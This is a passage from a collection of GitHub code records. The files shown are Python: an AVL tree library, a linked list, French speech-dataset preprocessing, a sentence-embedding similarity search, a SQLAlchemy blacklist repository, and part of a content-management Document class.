lr.predict([[8\t,7,\t5\t,10\t,7,\t9\t,5\t,5\t,4]])\r\nprint(res)\r\n\r\n\r\n","repo_name":"fulequn/PythonLearning","sub_path":"机器学习/20200411-01.py","file_name":"20200411-01.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"27782892463","text":"#!/usr/bin/env python\r\n# Author: Tyler Sanderson \r\n#\r\n# This file is part of PyBST.\r\n#\r\n# PyBST is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation, either version 3 of the License, or\r\n# (at your option) any later version.\r\n#\r\n# PyBST is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU General Public License\r\n# along with PyBST. If not, see .\r\n\r\nimport collections\r\nimport bstree\r\n\r\nNode = bstree.Node\r\nBSTree = bstree.BSTree\r\n\r\nclass AVLNode(Node):\r\n \"\"\"Represents a node of a balanced AVL Tree\"\"\"\r\n def __init__(self,key,value):\r\n \"\"\"Initializes a BST node, then add height and balance attributes\"\"\"\r\n Node.__init__(self,key,value)\r\n self.height = 0\r\n self.balance = 0\r\n\r\nclass AVLTree(BSTree):\r\n \"\"\"\r\n AVLTree implements a self-balancing AVL Tree.\r\n\r\n An AVL Tree is an ordered node based tree key structure\r\n in which each node has at most two children, and the heights\r\n of each children of a node differ by at most one.\r\n\r\n For more information regarding AVL Trees, see:\r\n http://en.wikipedia.org/wiki/Avl_tree\r\n\r\n Constructors:\r\n\r\n AVLTree() -> Creates a new empty AVL Tree\r\n AVLTree(seq) -> Creates a new AVL Tree from the elements in sequence [(k1,v1),(k2,v2),...,(kn,vn)]\r\n\r\n For further explanation of some functions or their source code, see bstree.py.\r\n \"\"\"\r\n def __init__(self,*args):\r\n \"\"\"Initializes tree the same as a BST\"\"\"\r\n BSTree.__init__(self,*args)\r\n\r\n def is_valid(self, *args):\r\n \"\"\"\r\n T.is_valid(...) -> Boolean. Produces True if and only if\r\n T is a valid AVL Tree. Raises an exception otherwise.\r\n \"\"\"\r\n if len(args) == 0:\r\n node = self.Root\r\n else:\r\n node = args[0]\r\n\r\n if not node:\r\n return True\r\n\r\n expected_height = self.get_height(node)\r\n expected_balance = self.get_balance(node)\r\n\r\n if not (node.height == expected_height):\r\n raise Exception(\"Height of node \" + str(node.key) + \" is \" + str(node.height) + \" and should be \" + str(expected_height))\r\n\r\n if not (node.balance == expected_balance):\r\n raise Exception(\"Balance of node \" + str(node.key) + \" is \" + str(node.balance) + \" and should be \" + str(expected_balance))\r\n\r\n if abs(expected_balance) > 1:\r\n raise Exception(\"Tree is unbalanced at node \" + str(node.key))\r\n\r\n if node.left:\r\n if not node.left.parent == node:\r\n raise Exception(\"Left child of node \" + str(node.key) + \" is adopted by another node!\")\r\n\r\n if node.right:\r\n if not node.right.parent == node:\r\n raise Exception(\"Right child of node \" + str(node.key) + \" is adopted by another node!\")\r\n\r\n if node.parent and node.parent.left == node:\r\n if node.key > node.parent.key:\r\n raise Exception(\"Node \" + str(node.key) + \" is to the left of \" + str(node.parent.key) + \" but is larger\")\r\n\r\n if node.parent and node.parent.right == node:\r\n if node.key < node.parent.key:\r\n raise Exception(\"Node \" + str(node.key) + \" is to the right of \" + str(node.parent.key) + \" but is smaller\")\r\n\r\n return (self.is_valid(node.left) and self.is_valid(node.right))\r\n\r\n def preorder(self,*args):\r\n \"\"\"\r\n T.preorder(...) -> Sequence. Produces a sequence of the Nodes\r\n in T, obtained in preorder.\r\n \"\"\"\r\n return BSTree.preorder(self,*args)\r\n\r\n def inorder(self,*args):\r\n \"\"\"\r\n T.inorder(...) -> Sequence. Produces a sequence of the Nodes\r\n in T, obtained in inorder.\r\n \"\"\"\r\n return BSTree.inorder(self,*args)\r\n\r\n def postorder(self,*args):\r\n \"\"\"\r\n T.postorder(...) -> Sequence. Produces a sequence of the Nodes\r\n in T, obtained in postorder.\r\n \"\"\"\r\n return BSTree.postorder(self,*args)\r\n\r\n def levelorder(self):\r\n \"\"\"\r\n T.levelorder(...) -> Sequence. Produces a sequence of the Nodes\r\n in T, obtained in levelorder.\r\n \"\"\"\r\n return BSTree.levelorder(self,*args)\r\n\r\n def get_node(self,key,*args):\r\n \"\"\"\r\n T.get_node(key,...) -> Node. Produces the Node in T with key\r\n attribute key. If there is no such Node, produces None.\r\n \"\"\"\r\n return BSTree.get_node(self,key,*args)\r\n\r\n def insert(self,key,value,*args):\r\n \"\"\"\r\n T.insert(key,value...) <==> T[key] = value. Inserts\r\n a new Node with key attribute key and value attribute\r\n value into T. Balances if necessary.\r\n \"\"\"\r\n if not isinstance(key,(int,long,float)):\r\n raise TypeError(str(key) + \" is not a number\")\r\n else:\r\n if not self.Root:\r\n self.Root = AVLNode(key,value)\r\n elif len(args) == 0:\r\n if not self.get_node(key,self.Root):\r\n self.insert(key,value,self.Root)\r\n else:\r\n child = AVLNode(key,value)\r\n parent = args[0]\r\n if child.key > parent.key:\r\n if not parent.right:\r\n parent.right = child\r\n child.parent = parent\r\n self._update_height(parent)\r\n self._update_balance(parent)\r\n node = child\r\n while node and abs(node.balance) <=1:\r\n node = node.parent\r\n if node:\r\n self._balance(node)\r\n else:\r\n self.insert(key,value,parent.right)\r\n else:\r\n if not parent.left:\r\n parent.left = child\r\n child.parent = parent\r\n self._update_height(parent)\r\n self._update_balance(parent)\r\n node = child\r\n while abs(node.balance) <=1:\r\n node = node.parent\r\n if not node:\r\n break\r\n if node:\r\n self._balance(node)\r\n else:\r\n self.insert(key,value,parent.left)\r\n\r\n def insert_from(self,seq):\r\n \"\"\"\r\n T.insert_from(seq). For every key, value pair in seq,\r\n inserts a new Node into T with key and value attributes\r\n as given.\r\n \"\"\"\r\n BSTree.insert_from(self,seq)\r\n\r\n def get_max(self,*args):\r\n \"\"\"\r\n T.get_max(...) -> Node. Produces the Node that has the maximum\r\n key attribute in T.\r\n \"\"\"\r\n return BSTree.get_max(self,*args)\r\n\r\n def get_min(self,*args):\r\n \"\"\"\r\n T.get_min(...) -> Node. Produces the Node that has the minimum\r\n key attribute in T.\r\n \"\"\"\r\n return BSTree.get_min(self,*args)\r\n\r\n def get_element_count(self,*args):\r\n \"\"\"\r\n T.get_element_count(...) -> Nat. Produces the number of elements\r\n in T.\r\n \"\"\"\r\n return BSTree.get_element_count(self,*args)\r\n\r\n def get_height(self,*args):\r\n \"\"\"\r\n T.get_height(...) -> Nat. Produces the height of T, defined\r\n as one added to the height of the tallest subtree.\r\n \"\"\"\r\n return BSTree.get_height(self,*args)\r\n\r\n def get_balance(self,*args):\r\n \"\"\"\r\n T.get_balance(...) -> Nat. Produces the balance of T, defined\r\n as the height of the right subtree taken away from the height\r\n of the left subtree.\r\n \"\"\"\r\n if len(args) == 0:\r\n node = self.Root\r\n else:\r\n node = args[0]\r\n\r\n return ((node.left.height if node.left else -1) -\r\n (node.right.height if node.right else -1))\r\n\r\n def _update_height(self,node):\r\n \"\"\"\r\n T._update_height(node). Updates the height attribute\r\n of Nodes in T starting from node backtracking up to the root.\r\n \"\"\"\r\n if not node:\r\n pass\r\n else:\r\n new_height = self.get_height(node)\r\n if node.height == new_height:\r\n pass\r\n else:\r\n node.height = new_height\r\n self._update_height(node.parent)\r\n\r\n def _update_balance(self,node):\r\n \"\"\"\r\n T._update_balance(node). Updates the balance attribute\r\n of Nodes in T starting from node backtracking up to the root.\r\n \"\"\"\r\n if not node:\r\n pass\r\n else:\r\n new_balance = self.get_balance(node)\r\n if node.balance == new_balance:\r\n pass\r\n else:\r\n node.balance = new_balance\r\n self._update_balance(node.parent)\r\n\r\n def _rotate_left(self,pivot):\r\n \"\"\"\r\n T._rotate_left(pivot). Performs a left tree rotation in T\r\n around the Node pivot.\r\n \"\"\"\r\n old_root = pivot\r\n par_node = old_root.parent\r\n\r\n new_root = old_root.right\r\n temp = new_root.right\r\n old_root.right = new_root.left\r\n\r\n if (old_root.right):\r\n old_root.right.parent = old_root\r\n new_root.left = old_root\r\n old_root.parent = new_root\r\n\r\n if par_node is None:\r\n self.Root = new_root\r\n self.Root.parent = None\r\n else:\r\n if par_node.right and par_node.right.key == old_root.key:\r\n par_node.right = new_root\r\n new_root.parent = par_node\r\n elif par_node.left and par_node.left.key == old_root.key:\r\n par_node.left = new_root\r\n new_root.parent = par_node\r\n\r\n self._update_height(new_root.left)\r\n self._update_height(par_node)\r\n self._update_balance(new_root.left)\r\n self._update_balance(par_node)\r\n\r\n def _rotate_right(self,pivot):\r\n \"\"\"\r\n T._rotate_right(pivot). Performs a right tree rotation in T\r\n around the Node pivot.\r\n \"\"\"\r\n old_root = pivot\r\n par_node = old_root.parent\r\n\r\n new_root = old_root.left\r\n temp = new_root.left\r\n old_root.left = new_root.right\r\n\r\n if (old_root.left):\r\n old_root.left.parent = old_root\r\n\r\n new_root.right = old_root\r\n old_root.parent = new_root\r\n\r\n if par_node is None:\r\n self.Root = new_root\r\n self.Root.parent = None\r\n else:\r\n if par_node.right and par_node.right.key == old_root.key:\r\n par_node.right = new_root\r\n new_root.parent = par_node\r\n elif par_node.left and par_node.left.key == old_root.key:\r\n par_node.left = new_root\r\n new_root.parent = par_node\r\n\r\n self._update_height(new_root.right)\r\n self._update_height(par_node)\r\n self._update_balance(new_root.right)\r\n self._update_balance(par_node)\r\n\r\n def _balance(self,pivot):\r\n \"\"\"\r\n T._balance(pivot). Balances T at Node pivot, performing\r\n appropriate tree rotations to ensure T remains a valid AVL Tree.\r\n \"\"\"\r\n weight = self.get_balance(pivot)\r\n\r\n if weight == -2:\r\n if self.get_balance(pivot.right) == -1 or self.get_balance(pivot.right) == 0:\r\n self._rotate_left(pivot)\r\n\r\n elif self.get_balance(pivot.right) == 1:\r\n self._rotate_right(pivot.right)\r\n self._rotate_left(pivot)\r\n\r\n elif weight == 2:\r\n if self.get_balance(pivot.left) == 1 or self.get_balance(pivot.left) == 0:\r\n self._rotate_right(pivot)\r\n\r\n elif self.get_balance(pivot.left) == -1:\r\n self._rotate_left(pivot.left)\r\n self._rotate_right(pivot)\r\n\r\n def _delete_leaf(self,node):\r\n \"\"\"\r\n T._delete_leaf_parent(node). Deletes node from T, treating it\r\n as a Node with only one child.\r\n \"\"\"\r\n par_node = node.parent\r\n\r\n if par_node:\r\n if par_node.left == node:\r\n par_node.left = None\r\n else:\r\n par_node.right = None\r\n\r\n del node\r\n\r\n self._update_height(par_node)\r\n self._update_balance(par_node)\r\n to_balance = par_node\r\n\r\n while to_balance and abs(to_balance.balance) <=1:\r\n to_balance = to_balance.parent\r\n if to_balance:\r\n self._balance(to_balance)\r\n\r\n else:\r\n self.Root = None\r\n\r\n def _delete_leaf_parent(self,node):\r\n \"\"\"\r\n T._delete_leaf_parent(node). Deletes node from T, treating it\r\n as a Node with only one child.\r\n \"\"\"\r\n par_node = node.parent\r\n\r\n if node.key == self.Root.key:\r\n if node.right:\r\n self.Root = node.right\r\n node.right = None\r\n else:\r\n self.Root = node.left\r\n node.left = None\r\n\r\n else:\r\n if par_node.right == node:\r\n if node.right:\r\n par_node.right = node.right\r\n par_node.right.parent = par_node\r\n node.right = None\r\n else:\r\n par_node.right = node.left\r\n par_node.right.parent = par_node\r\n node.left = None\r\n else:\r\n\r\n if node.right:\r\n par_node.left = node.right\r\n par_node.left.parent = par_node\r\n node.right = None\r\n else:\r\n par_node.left = node.left\r\n par_node.left.parent = par_node\r\n node.left = None\r\n\r\n del node\r\n\r\n self._update_height(par_node)\r\n self._update_balance(par_node)\r\n to_balance = par_node\r\n\r\n while to_balance and abs(to_balance.balance) <=1:\r\n to_balance = to_balance.parent\r\n if to_balance:\r\n self._balance(to_balance)\r\n\r\n def _switch_nodes(self,node1,node2):\r\n \"\"\"\r\n T._switch_nodes(node1,node2). Switches positions\r\n of node1 and node2 in T.\r\n \"\"\"\r\n BSTree._switch_nodes(self,node1,node2)\r\n\r\n def _delete_node(self,node):\r\n \"\"\"\r\n T._delete_node(node). Deletes node from T, treating it as\r\n a Node with two children.\r\n \"\"\"\r\n if self.get_height(node.left) > self.get_height(node.right):\r\n to_switch = self.get_max(node.left)\r\n self._switch_nodes(node,to_switch)\r\n\r\n if not (to_switch.right or to_switch.left):\r\n to_delete = self.get_max(node.left)\r\n self._delete_leaf(to_delete)\r\n else:\r\n to_delete = self.get_max(node.left)\r\n self._delete_leaf_parent(to_delete)\r\n else:\r\n to_switch = self.get_min(node.right)\r\n self._switch_nodes(node,to_switch)\r\n\r\n if not (to_switch.right or to_switch.left):\r\n to_delete = self.get_min(node.right)\r\n self._delete_leaf(to_delete)\r\n else:\r\n to_delete = self.get_min(node.right)\r\n self._delete_leaf_parent(to_delete)\r\n\r\n def delete(self,key):\r\n \"\"\"T.delete(key) <==> del T[key]. Deletes the Node\r\n with key attribute key from T.\r\n \"\"\"\r\n node = self.get_node(key,self.Root)\r\n\r\n if node:\r\n if not (node.left or node.right):\r\n self._delete_leaf(node)\r\n\r\n elif not (node.left and node.right):\r\n self._delete_leaf_parent(node)\r\n\r\n else:\r\n self._delete_node(node)\r\n\r\n def delete_from(self,seq):\r\n \"\"\"\r\n T.delete_from(seq). For every keyin seq, deletes\r\n the Node with that key attribute from T.\r\n \"\"\"\r\n if isinstance(seq,collections.Iterable):\r\n for x in seq:\r\n self.delete(x)\r\n else:\r\n raise TypeError(str(iter) + \" is not iterable\")","repo_name":"TylerSandman/py-bst","sub_path":"pybst/avltree.py","file_name":"avltree.py","file_ext":"py","file_size_in_byte":16515,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"82"}
+{"seq_id":"846835799","text":"# Importer les bibliothèques nécessaires\nprint('Importation des librairies...\\n')\nimport pandas as pd\nimport numpy as np\nimport re\nimport json\nimport os\nimport librosa\nimport random\n\n############################################################################################################################\ndef Sup_columns(Dataframe):\n column_to_dtop = ['client_id', 'up_votes', 'down_votes', 'age', 'gender', 'accents', 'variant', 'locale', 'segment']\n Dataframe.drop(column_to_dtop, inplace=True, axis = 1)\n print(len(column_to_dtop),'colonnes supprimées.\\n')\n return Dataframe\n\ndef add_fullaudio_path (Dataframe,clips_path):\n Dataframe['path'] = clips_path + '//' + Dataframe['path'] # Créer une nouvelle colonne 'path' en concaténant path_audio avec le contenu de 'path'\n new_df = Dataframe[['path', 'sentence']] # Créer un nouveau DataFrame avec les colonnes 'path' et 'sentence' uniquement\n # Afficher le premier chemin audio et la première phrase\n #print(new_df['path'][0])\n #print(new_df['sentence'][0])\n return new_df\n\n\"\"\"\ndef treat_sentence(Dataframe):\n Dataframe[\"sentence\"] = Dataframe[\"sentence\"].apply(clean_sentence)\n # Afficher le premier chemin audio et la première phrase\n #print(Dataframe['path'][0])\n #print(Dataframe['sentence'][0])\n return Dataframe\n\ndef clean_sentence(text):\n text = re.sub(r\"[:,-?!;.@#+*$£%<>_°)(&=\\[\\]\\^\\\"]\", \"\", text) # Supprimer les caractères spéciaux\n text = text.lower() # Normaliser en lettres minuscules\n return text\n\ndef create_vocab(Dataframe): # UNIQUEMENT SUR LE TRAIN DATASET\n \n print(\"Extraction du vocabulaire..\")\n sentence_concatenated = \"\".join(Dataframe[\"sentence\"])\n letters = sorted(list(set(sentence_concatenated))) # Lettres distinctes\n letters.append(\"|\") # Ajouter le caractère spécial pour l'espace\n letters.append(\"\") # Ajouter le token \"inconnu\"\n letters.append(\"\") # Ajouter le token de remplissage\n\n vocab = {char: idx for idx, char in enumerate(letters)}\n print('\\nVocabulaire extrait :',vocab)\n\n print(\"\\nTokenization..\")\n Dataframe[\"tokens\"] = Dataframe[\"sentence\"].apply(tokenize_text, args=(vocab,))\n \n\n with open(f\"{new_dataset_path}vocabulaire.json\", \"w\") as f:\n json.dump(vocab, f)\n \n return Dataframe\n\ndef tokenize_text(text, vocab):\n tokens = []\n for char in text:\n if char in vocab:\n tokens.append(vocab[char])\n else:\n tokens.append(vocab[\"\"]) # Caractère inconnu\n return tokens\n\"\"\"\n\ndef View_samplingRate(Dataframe):\n print(\"\\nRandom sampling rate :\")\n for i in range(0,4):\n r = random.randint(0,10000)\n signal, sr = librosa.load(Dataframe['path'][r], sr=None) # Charger l'audio avec le sampling rate d'origine\n print(f\"audio_file n°{r} : {sr}\")\n\n\"\"\" \ndef process_audio(file_path, target_sr):\n signal, sr = librosa.load(file_path, sr=None) # Charger l'audio avec le sampling rate d'origine\n if sr != target_sr:\n signal = librosa.resample(signal, sr, target_sr) # Resampler l'audio au sampling rate cible\n\n return np.asarray(signal)\n\ndef resample_audio(Dataframe):\n target_sr = 16000 # Sampling rate cible\n\n # Parcourir tous les fichiers audio et les traiter\n for index, row in Dataframe.iterrows():\n audio_file = row[\"path\"]\n processed_audio = process_audio(audio_file, target_sr)\n\"\"\" \n\n############################################################################################################################\n\n# Chemin vers les fichiers contenant les datas\ndataset_path = '//Users//charles-albert//Desktop//Projet Ingénieur//datas//fr//'\nclips_path = '//Users//charles-albert//Desktop//Projet Ingénieur//datas//fr//clips'\nnew_dataset_path = '//Users//charles-albert//Desktop/Projet Ingénieur//treat_datas//'\n\ntrain_path = f'{dataset_path}train.tsv'\ntest_path = f'{dataset_path}test.tsv'\n\n# Charger les fichiers TSV dans un DataFrame pandas\nprint('Creation des dataframes...\\n')\ntrain_df = pd.read_csv(train_path, delimiter='\\t')\ntest_df = pd.read_csv(test_path, delimiter='\\t')\n\nprint('\\n',len(train_df),'Train samples trouvés\\n')\ntrain_df.info()\n\nprint('\\n',len(test_df),'Test samples trouvés\\n')\ntest_df.info()\n\n# Supression des colonnes inutiles - Modification colonne 1 (path) - Modification colonne 2 (sentence)\nprint('\\nTraitement des Datas...')\nprint('\\nSupression des colonnes inutiles...')\ntrain_df = Sup_columns(train_df)\ntest_df = Sup_columns(test_df)\n\nprint('\\nTraitement de la colonne \\'path\\'...')\ntrain_df = add_fullaudio_path(train_df,clips_path)\ntest_df = add_fullaudio_path(test_df,clips_path)\n\n\"\"\"\nprint('\\nTraitement de la colonne \\'sentence\\'...')\ntrain_df = treat_sentence(train_df)\ntest_df = treat_sentence(test_df)\n\nprint('\\nCreation d\\'un vocabulaire et d\\'un Tokenizer...')\ntrain_df = create_vocab(train_df)\n\"\"\"\n\nprint('\\nVisualisation des Sampling Rate...')\nView_samplingRate(train_df)\nView_samplingRate(test_df)\n\nprint('\\nVisualisation des nouveaux dataframes...')\nprint(train_df.head(5))\nprint(test_df.head(5))\n\nprint('\\nSauvegarde...')\ntrain_df.to_csv(f\"{new_dataset_path}train.tsv\", sep=\"\\t\", index=False)\ntest_df.to_csv(f\"{new_dataset_path}test.tsv\", sep=\"\\t\", index=False)\nprint('\\nSauvegarde Terminée.')","repo_name":"CAprogs/French-Speech-Recognition","sub_path":"01_pretraitement_datas.py","file_name":"01_pretraitement_datas.py","file_ext":"py","file_size_in_byte":5295,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"10879863204","text":"from typing import Any\n\nclass Node:\n \"\"\"\n models a node in a doubly linked list\n \"\"\"\n\n def __init__(self, data: Any) -> None:\n self.data = data\n self.next_node = None\n self.previous_node = None\n\n\nclass DoublyLinkedList:\n \"\"\"\n models a doubly linked list data structure\n \"\"\"\n\n def __init__(self) -> None:\n self.head = None\n self.tail = None\n self.number_of_nodes = 0\n\n #0(1) operation\n def insert_end(self, data: Any) -> None:\n new_node = Node(data)\n self.number_of_nodes += 1\n\n # if linked list is empty\n if not self.head:\n self.head = new_node\n self.tail = new_node\n # there is at least one item\n else:\n self.tail.next_node = new_node\n new_node.previous_node = self.tail\n\n self.tail = new_node\n\n\n # 0(n) operation. Remember, doubly linked lists could be traversed\n # in both directions.\n def traverse_forward(self) -> None:\n place_holder_node = self.head\n\n while place_holder_node is not None:\n print(place_holder_node.data)\n place_holder_node = place_holder_node.next_node\n\n # O(n) operation\n def traverse_backward(self) -> None:\n place_holder_node = self.tail\n\n while place_holder_node is not None:\n print(place_holder_node.data)\n place_holder_node = place_holder_node.previous_node\n\n\nif __name__ == \"__main__\":\n doubly_list = DoublyLinkedList()\n\n doubly_list.insert_end(1)\n doubly_list.insert_end(2)\n doubly_list.insert_end(3)\n\n doubly_list.traverse_forward()\n print(\"______________________________\")\n doubly_list.traverse_backward()\n","repo_name":"nyior/algorithms-and-datastructures-python","sub_path":"data_structures/linked_lists/doubly_linked_list/implementation.py","file_name":"implementation.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"70054911630","text":"import os\nimport sys\nfrom sentence_transformers import SentenceTransformer, util\nmodel = SentenceTransformer('all-MiniLM-L6-v2')\n\n# find the most similar posts to a given question in a given tag\n# return as user prompt\ndef findSimilar(course, tag, question):\n print(\"Encoding similar archived posts...\")\n\n # get all posts from same tag as question\n # with student's question as the first entry\n posts = []\n posts.append(question)\n\n # go thru files in tag folder to collect posts\n folder = './data/' + course + '/' + tag + '/'\n for filename in os.listdir(folder):\n filepath = folder + filename\n file = open(filepath, 'r')\n po = file.read().split('###question ')\n po = po[1:] # get rid of empty first entry\n po = [p.strip() for p in po] # get rid of trailing newlines\n posts.extend(po)\n\n # get only questions\n questions = []\n questions.append(question)\n questions.extend([p.split(\"#\")[0] for p in posts[1:]])\n\n # encode all questions\n embeddings = model.encode(questions)\n\n # compute cosine similarity for all \n cos_sim = util.cos_sim(embeddings[0], embeddings)\n\n # add all pairs to a list with their cosine similarity score\n most_similar_posts = []\n for i in range(len(cos_sim[0])):\n most_similar_posts.append([cos_sim[0][i], i])\n\n # sort list by the highest cosine similarity score\n most_similar_posts = sorted(most_similar_posts, key=lambda x: x[0], reverse=True)\n\n # delete question from most similar posts bc it's the same post\n most_similar_posts = most_similar_posts[1:]\n\n ### DEPRECATED CODE START: this used to just print out something to copypaste\n ### keeping for testing purposes\n # # print question\n # print(\"QUESTION:\\n\" + question + \"\\n\")\n\n # # print top 5 most relevant posts\n # print(\"INFORMATION:\")\n # for score, i in most_similar_posts[0:5]:\n # #print(\"{} \\t {:.4f}\".format(posts[i], score))\n # print(posts[i])\n # print(\"confidence score: {:.3f}\\n\".format(score))\n ### DEPRECATED CODE END\n\n # create user prompt\n # question\n user_prompt = \"QUESTION:\\n\" + question + \"\\n\\n\"\n # top 5 most relevant posts\n user_prompt += \"INFORMATION:\\n\"\n for score, i in most_similar_posts[0:5]:\n user_prompt += posts[i] + \"\\n\"\n user_prompt += \"similarity score: {:.3f}\\n\\n\".format(score)\n\n # also get confidence score based on similarity of most relevant post\n confidence_score = \"{:.3f}\\n\\n\".format(most_similar_posts[0][0])\n\n print(\"Encoded!\")\n\n return user_prompt, confidence_score\n\n\n# prompt input\n# question = input(\"PASTE QUESTION HERE: \")\n# tag = input(\"ENTER CATEGORY: \")\n# print()\n\n# findSimilar(question, tag)","repo_name":"falseaxiom/cgbot","sub_path":"code/embed.py","file_name":"embed.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"6518789481","text":"from typing import Optional, List\n\nfrom sqlalchemy import select, delete\n\nfrom database import run_query, run_commit, add_item\nfrom database.tables.dt_blacklist import BlacklistType, DTBlacklistItem\n\nasync def get_blacklist_item(bl_type: BlacklistType, identifier: int) -> Optional[DTBlacklistItem]:\n statement = select(DTBlacklistItem).filter(DTBlacklistItem.bl_type == BlacklistType(bl_type), DTBlacklistItem.identifier == identifier)\n result = await run_query(statement)\n return result.scalar_one_or_none()\n\nasync def is_on_blacklist(bl_type: BlacklistType, identifier: int) -> bool:\n result = await run_query(select(DTBlacklistItem.identifier).filter(DTBlacklistItem.bl_type == BlacklistType(bl_type), DTBlacklistItem.identifier == identifier))\n return result.scalar_one_or_none() is not None\n\nasync def get_blacklist_items(bl_type: Optional[BlacklistType]=None) -> List[DTBlacklistItem]:\n if bl_type is not None:\n result = await run_query(select(DTBlacklistItem).filter(DTBlacklistItem.bl_type == BlacklistType(bl_type)))\n return result.scalars().all()\n\n result = await run_query(select(DTBlacklistItem))\n return result.scalars().all()\n\nasync def create_blacklist_item(bl_type: BlacklistType, identifier: int, additional_data: Optional[str]=None) -> Optional[DTBlacklistItem]:\n item = await get_blacklist_item(bl_type, identifier)\n if item is not None: return None\n\n item = DTBlacklistItem(bl_type=BlacklistType(bl_type), identifier=identifier, additional_data=additional_data)\n await add_item(item)\n\n return item\n\nasync def remove_blacklist_item(bl_type: BlacklistType, identifier: int) -> bool:\n result = await run_query(delete(DTBlacklistItem).filter(DTBlacklistItem.bl_type == BlacklistType(bl_type), DTBlacklistItem.identifier == identifier))\n await run_commit()\n return result.rowcount > 0\n","repo_name":"Matesxs/DeepTownEventBot","sub_path":"database/dt_blacklist_repo.py","file_name":"dt_blacklist_repo.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"39746818197","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\ndirect PAS\nPython Application Services\n----------------------------------------------------------------------------\n(C) direct Netware Group - All rights reserved\nhttps://www.direct-netware.de/redirect?pas;contentor\n\nThe following license agreement remains valid unless any additions or\nchanges are being made by direct Netware Group in a written form.\n\nThis program is free software; you can redistribute it and/or modify it\nunder the terms of the GNU General Public License as published by the\nFree Software Foundation; either version 2 of the License, or (at your\noption) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT\nANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\nFITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for\nmore details.\n\nYou should have received a copy of the GNU General Public License along with\nthis program; if not, write to the Free Software Foundation, Inc.,\n51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n----------------------------------------------------------------------------\nhttps://www.direct-netware.de/redirect?licenses;gpl\n----------------------------------------------------------------------------\n#echo(pasContentorVersion)#\n#echo(__FILEPATH__)#\n\"\"\"\n\nfrom time import time\n\nfrom dNG.data.binary import Binary\nfrom dNG.data.data_linker import DataLinker\nfrom dNG.data.ownable_mixin import OwnableMixin as OwnableInstance\nfrom dNG.data.ownable_lockable_read_mixin import OwnableLockableReadMixin\nfrom dNG.database.instances.contentor_document import ContentorDocument as _DbContentorDocument\nfrom dNG.database.instances.text_entry import TextEntry as _DbTextEntry\nfrom dNG.database.lockable_mixin import LockableMixin\nfrom dNG.database.sort_definition import SortDefinition\n\nfrom .category import Category\n\nclass Document(DataLinker, LockableMixin, OwnableLockableReadMixin):\n \"\"\"\n\"Document\" represents a contentor entry.\n\n:author: direct Netware Group et al.\n:copyright: direct Netware Group - All rights reserved\n:package: pas\n:subpackage: contentor\n:since: v0.2.00\n:license: https://www.direct-netware.de/redirect?licenses;gpl\n GNU General Public License 2\n \"\"\"\n\n _DB_INSTANCE_CLASS = _DbContentorDocument\n \"\"\"\nSQLAlchemy database instance class to initialize for new instances.\n \"\"\"\n\n def __init__(self, db_instance = None):\n \"\"\"\nConstructor __init__(Document)\n\n:param db_instance: Encapsulated SQLAlchemy database instance\n\n:since: v0.2.00\n \"\"\"\n\n DataLinker.__init__(self, db_instance)\n LockableMixin.__init__(self)\n OwnableLockableReadMixin.__init__(self)\n\n self.set_max_inherited_permissions(OwnableLockableReadMixin.READABLE,\n OwnableLockableReadMixin.READABLE\n )\n #\n\n def delete(self):\n \"\"\"\nDeletes this entry from the database.\n\n:since: v0.2.00\n \"\"\"\n\n if (self.log_handler is not None): self.log_handler.debug(\"#echo(__FILEPATH__)# -{0!r}.delete()- (#echo(__LINE__)#)\", self, context = \"pas_datalinker\")\n\n with self:\n db_text_entry_instance = self.local.db_instance.rel_text_entry\n\n DataLinker.delete(self)\n if (db_text_entry_instance is not None): self.local.connection.delete(db_text_entry_instance)\n #\n #\n\n def _get_default_sort_definition(self, context = None):\n \"\"\"\nReturns the default sort definition list.\n\n:param context: Sort definition context\n\n:return: (object) Sort definition\n:since: v0.2.00\n \"\"\"\n\n if (self.log_handler is not None): self.log_handler.debug(\"#echo(__FILEPATH__)# -{0!r}._get_default_sort_definition({1})- (#echo(__LINE__)#)\", self, context, context = \"pas_datalinker\")\n\n return (DataLinker._get_default_sort_definition(self, context)\n if (context == \"DataLinker\") else\n SortDefinition([ ( \"position\", SortDefinition.ASCENDING ),\n ( \"title\", SortDefinition.ASCENDING )\n ])\n )\n #\n\n def _get_unknown_data_attribute(self, attribute):\n \"\"\"\nReturns the data for the requested attribute not defined for this instance.\n\n:param attribute: Requested attribute\n\n:return: (dict) Value for the requested attribute\n:since: v0.2.00\n \"\"\"\n\n if (attribute == \"content\" and self.local.db_instance.rel_text_entry is not None): _return = self.local.db_instance.rel_text_entry.content\n else: _return = DataLinker._get_unknown_data_attribute(self, attribute)\n\n return _return\n #\n\n def _insert(self):\n \"\"\"\nInsert the instance into the database.\n\n:since: v0.2.00\n \"\"\"\n\n with self.local.connection.no_autoflush:\n DataLinker._insert(self)\n\n if (self.local.db_instance.time_published is None): self.local.db_instance.time_published = int(time())\n\n is_acl_missing = (len(self.local.db_instance.rel_acl) == 0)\n is_data_missing = self.is_data_attribute_none(\"owner_type\", \"entry_type\")\n is_permission_missing = self.is_data_attribute_none(\"guest_permission\", \"user_permission\")\n\n parent_object = (self.load_parent() if (is_acl_missing or is_data_missing or is_permission_missing) else None)\n\n if (is_data_missing and (isinstance(parent_object, Category) or isinstance(parent_object, Document))):\n parent_data = parent_object.get_data_attributes(\"id_site\", \"entry_type\")\n\n if (self.local.db_instance.id_site 